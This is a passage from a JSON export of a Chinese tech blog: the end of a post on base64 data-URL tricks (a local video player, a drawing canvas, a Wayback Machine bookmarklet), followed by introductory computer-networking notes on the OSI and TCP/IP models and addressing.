class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()}\u003cspan class=\"title function_\"\u003ealert\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;清理完成\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活3:视频播放器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB3%EF%BC%9A%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E5%99%A8\" class=\"headerlink\" title=\"花活3:视频播放器\"\u003e\u003c/a\u003e花活3:视频播放器\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aW5wdXQgdHlwZT0iZmlsZSIgaWQ9ImlucHV0IiBhY2NlcHQ9InZpZGVvLyoiPg0KPGJyPg0KPHZpZGVvIHNyYz0iIiBpZD0idmlkZW8iIGNvbnRyb2xzIGF1dG9wbGF5PjwvdmlkZW8+DQo8c2NyaXB0Pg0KICBpbnB1dC5vbmNoYW5nZSA9ICgpID0+IHsNCiAgICBjb25zdCBmaWxlID0gaW5wdXQuZmlsZXM/LlswXTsNCiAgICBpZiAoZmlsZSkgew0KICAgICAgdmlkZW8uc3JjID0gVVJMLmNyZWF0ZU9iamVjdFVSTChmaWxlKTsNCiAgICB9DQogIH07DQo8L3NjcmlwdD4=\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活4:画板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB4%EF%BC%9A%E7%94%BB%E6%9D%BF\" class=\"headerlink\" title=\"花活4:画板\"\u003e\u003c/a\u003e花活4:画板\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGNhbnZhcyBpZD12PjxzY3JpcHQ+ZD1kb2N1bWVudCxkLmJvZHkuc3R5bGUubWFyZ2luPTAsUD0ib25wb2ludGVyIixjPXYuZ2V0Q29udGV4dGAyZGAsdi53aWR0aD1pbm5lcldpZHRoLHYuaGVpZ2h0PWlubmVySGVpZ2h0LGMubGluZVdpZHRoPTIsZj0wLGRbUCsiZG93biJdPWU9PntmPWUucG9pbnRlcklkKzE7ZS5wcmV2ZW50RGVmYXVsdCgpO2MuYmVnaW5QYXRoKCk7Yy5tb3ZlVG8oZS54LGUueSl9O2RbUCsibW92ZSJdPWU9PntmPT1lLnBvaW50ZXJJZCsxJiZjLmxpbmVUbyhlLngsZS55KTtjLnN0cm9rZSgpfSxkW1ArInVwIl09Xz0+Zj0wPC9zY3JpcHQ+PC9jYW52YXM+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活:一键存档网页\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB%EF%BC%9A%E4%B8%80%E9%94%AE%E5%AD%98%E6%A1%A3%E7%BD%91%E9%A1%B5\" class=\"headerlink\" title=\"花活:一键存档网页\"\u003e\u003c/a\u003e花活:一键存档网页\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ejavascript:location.href=\u0026#34;[https://web.archive.org/save/](https://web.archive.org/save/)\u0026#34;+location.href;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/"},{"title":"计网笔记:第一部分-概述","time":"2023-06-09T05:38:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-1-绪论\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#Chap-1-%E7%BB%AA%E8%AE%BA\" class=\"headerlink\" title=\"Chap.1.绪论\"\u003e\u003c/a\u003eChap.1.绪论\u003c/h2\u003e\u003ch3 id=\"数据通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"数据通信\"\u003e\u003c/a\u003e数据通信\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e数据\u003c/strong\u003e是任何格式表示的信息,\u003cstrong\u003e数据通信\u003c/strong\u003e是两台设备间通过介质进行数据交换。效率取决于:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e传递性\u003c/strong\u003e:目的地正确\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e准确性\u003c/strong\u003e:数据正确\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e及时性\u003c/strong\u003e:时延可接受\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e抖动性\u003c/strong\u003e:各部分到达时延不相同\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"组成\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"组成\"\u003e\u003c/a\u003e组成\u003c/h4\u003e\u003col\u003e\u003cli\u003e报文\u003c/li\u003e\u003cli\u003e发送方\u003c/li\u003e\u003cli\u003e接收方\u003c/li\u003e\u003cli\u003e传输介质\u003c/li\u003e\u003cli\u003e协议\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"信息表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%BF%A1%E6%81%AF%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"信息表示\"\u003e\u003c/a\u003e信息表示\u003c/h4\u003e\u003cp\u003e二进制/文本编码\u003c/p\u003e\u003ch4 id=\"数据流\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%95%B0%E6%8D%AE%E6%B5%81\" class=\"headerlink\" title=\"数据流\"\u003e\u003c/a\u003e数据流\u003c/h4\u003e\u003col\u003e\u003cli\u003e单工:数据流向是单向的,比如键盘等输入设备就是单工连接\u003c/li\u003e\u003cli\u003e半双工:同时只能有一个方向的数据流动,无线电设备有的就是这样\u003c/li\u003e\u003cli\u003e全双工:双向车道,同时可以有两个方向的数据流过,比如网线等\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"网络\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C\" class=\"headerlink\" title=\"网络\"\u003e\u003c/a\u003e网络\u003c/h3\u003e\u003ch4 id=\"分布式处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%88%86%E5%B8%83%E5%BC%8F%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"分布式处理\"\u003e\u003c/a\u003e分布式处理\u003c/h4\u003e\u003ch4 id=\"网络准则\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%87%86%E5%88%99\" class=\"headerlink\" title=\"网络准则\"\u003e\u003c/a\u003e网络准则\u003c/h4\u003e\u003cul\u003e\u003cli\u003e性能\u003c/li\u003e\u003cli\u003e可靠性\u003c/li\u003e\u003cli\u003e安全性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"物理结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%89%A9%E7%90%86%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"物理结构\"\u003e\u003c/a\u003e物理结构\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连接类型\u003cul\u003e\u003cli\u003e点到点\u003c/li\u003e\u003cli\u003e多点连接\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e物理拓扑结构\u003cul\u003e\u003cli\u003e网状:拥有最高的稳定性\u003c/li\u003e\u003cli\u003e星形\u003c/li\u003e\u003cli\u003e总线\u003c/li\u003e\u003cli\u003e环状\u003c/li\u003e\u003cli\u003e混合型\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"网络模型\"\u003e\u003c/a\u003e网络模型\u003c/h4\u003e\u003cp\u003e当今为止最著名的就是\u003cstrong\u003eOSI模型\u003c/strong\u003e和\u003cstrong\u003e因特网模型\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"网络分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"网络分类\"\u003e\u003c/a\u003e网络分类\u003c/h4\u003e\u003cul\u003e\u003cli\u003e局域网-LAN\u003c/li\u003e\u003cli\u003e广域网-WAN\u003c/li\u003e\u003cli\u003e城域网-MAN\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"因特网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%9B%A0%E7%89%B9%E7%BD%91\" class=\"headerlink\" title=\"因特网\"\u003e\u003c/a\u003e因特网\u003c/h3\u003e\u003cp\u003e历史之类的,太长不看。因特网前身是\u003cstrong\u003eARPANET\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议和标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%8D%8F%E8%AE%AE%E5%92%8C%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"协议和标准\"\u003e\u003c/a\u003e协议和标准\u003c/h3\u003e\u003cp\u003e协议,就是规则。标准是协商达成一致的规则。\u003c/p\u003e\u003ch4 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h4\u003e\u003cp\u003e它规定了通信的内容、通信的方式和通信的时间。它的核心要素是语法、语义和时序。\u003c/p\u003e\u003cul\u003e\u003cli\u003e语法:数据的结构或格式\u003c/li\u003e\u003cli\u003e语义:每一个片段或位的含义\u003c/li\u003e\u003cli\u003e时序:报文发送的时间和发送的速率\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"标准\"\u003e\u003c/a\u003e标准\u003c/h4\u003e\u003cp\u003e分为事实标准和法定标准。\u003c/p\u003e\u003ch2 id=\"Chap-2-网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#Chap-2-%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"Chap.2.网络模型\"\u003e\u003c/a\u003eChap.2.网络模型\u003c/h2\u003e\u003ch3 id=\"OSI模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#OSI%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"OSI模型\"\u003e\u003c/a\u003eOSI模型\u003c/h3\u003e\u003cp\u003e从上到下一共有7层\u003c/p\u003e\u003cul\u003e\u003cli\u003e应用层:使得用户(人或软件)可以访问网络,它负责向应用提供服务\u003cul\u003e\u003cli\u003e具体的服务有:\u003cstrong\u003e网络虚拟终端(ssh等),文件传输、访问和管理,邮件服务、目录服务\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e表示层:翻译、加密和压缩数据\u003c/li\u003e\u003cli\u003e会话层:对话控制(建立、管理和终止)和同步\u003c/li\u003e\u003cli\u003e传输层:一个报文从一个进程到另一个进程的传递\u003cul\u003e\u003cli\u003e端到端的可靠报文传递,以及差错控制\u003c/li\u003e\u003cli\u003e它负责\u003cstrong\u003e服务点寻址、分段和组装、连接控制、流量控制、差错控制\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e网络层:将各个分组从源地址传送到目的地址\u003cul\u003e\u003cli\u003eIP协议是不可靠的传输协议\u003c/li\u003e\u003cli\u003e它负责\u003cstrong\u003e逻辑寻址\u003c/strong\u003e和\u003cstrong\u003e路由选择\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据链路层:帧从一跳到下一跳(在节点间)的传递\u003cul\u003e\u003cli\u003e它有\u003cstrong\u003e差错控制\u003c/strong\u003e,\u003cstrong\u003e流量控制\u003c/strong\u003e和\u003cstrong\u003e访问控制\u003c/strong\u003e,也负责位流的\u003cstrong\u003e成帧\u003c/strong\u003e,同时也负责\u003cstrong\u003e物理寻址\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e物理层:位从一个节点到另一个节点的传递\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003eOSI中,只有\u003cstrong\u003e数据链路层和传输层提供流量控制和差错控制\u003c/strong\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"TCP-x2F-IP协议族\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#TCP-x2F-IP%E5%8D%8F%E8%AE%AE%E6%97%8F\" class=\"headerlink\" title=\"TCP/IP协议族\"\u003e\u003c/a\u003eTCP/IP协议族\u003c/h3\u003e\u003cp\u003e分为5层,可以是看作简化了OSI的应用层的协议。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609171458.png\"/\u003e\u003c/p\u003e\u003cp\u003e结构和使用的协议如上图所示。\u003c/p\u003e\u003ch4 id=\"网络层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%B1%82\" class=\"headerlink\" title=\"网络层\"\u003e\u003c/a\u003e网络层\u003c/h4\u003e\u003cp\u003e它使用网际协议\u003cstrong\u003eInternet Protocol\u003c/strong\u003e。而IP使用四个协议:\u003c/p\u003e\u003cul\u003e\u003cli\u003eARP地址解析协议:将逻辑地址和物理地址关联起来\u003c/li\u003e\u003cli\u003eRARP:逆向ARP。用于从物理地址得到逻辑地址\u003c/li\u003e\u003cli\u003eICMP:因特网控制报文协议,主机和网关使用的机制,用来向发送方通知数据报发生的问题\u003c/li\u003e\u003cli\u003eIGMP:因特网组报文协议,将一个报文同时发送给一组接收者\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"传输层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%BC%A0%E8%BE%93%E5%B1%82\" class=\"headerlink\" title=\"传输层\"\u003e\u003c/a\u003e传输层\u003c/h4\u003e\u003cp\u003e主要有UDP、TCP和SCTP三个协议。其中UDP是无连接的不可靠协议,TCP是面向连接的可靠协议。SCTP则综合了前两者的优点,比较新。\u003c/p\u003e\u003ch4 id=\"应用层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%BA%94%E7%94%A8%E5%B1%82\" class=\"headerlink\" title=\"应用层\"\u003e\u003c/a\u003e应用层\u003c/h4\u003e\u003cp\u003e相当于OSI的\u003cstrong\u003e会话层+表示层+应用层\u003c/strong\u003e,定义了许多协议,比如\u003cstrong\u003eSMTP,FTP,HTTP(S),DNS,SNMP,TELNET等\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"寻址\"\u003e\u003c/a\u003e寻址\u003c/h3\u003e\u003cp\u003eTCP/IP采用四层地址:\u003cstrong\u003e物理链路地址、逻辑地址IP、端口地址和专用地址\u003c/strong\u003e。它们分别和物理层+数据链路层、网络层、传输层、应用层相关联。\u003c/p\u003e\u003ch4 id=\"物理地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%89%A9%E7%90%86%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"物理地址\"\u003e\u003c/a\u003e物理地址\u003c/h4\u003e\u003cp\u003e也是链路地址,是网络中的节点地址,标识在网络接口卡(NIC)上。MAC地址一般使用48位(二进制数)地址表示\u003c/p\u003e\u003ch4 id=\"逻辑地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E9%80%BB%E8%BE%91%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"逻辑地址\"\u003e\u003c/a\u003e逻辑地址\u003c/h4\u003e\u003cp\u003e目前在用IPv4。它唯一定义了连接在因特网上的一台主机。跳到跳传输时,物理地址会改变,但是逻辑地址保持不变。\u003c/p\u003e\u003ch4 id=\"端口地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%AB%AF%E5%8F%A3%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"端口地址\"\u003e\u003c/a\u003e端口地址\u003c/h4\u003e\u003cp\u003e一般用来标识一个主机上的一个唯一的进程。端口号由IANA规定。\u003c/p\u003e\u003ch4 id=\"专用地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%B8%93%E7%94%A8%E5%9C%B0%E5%9D%80\" class=\"headerlink\" 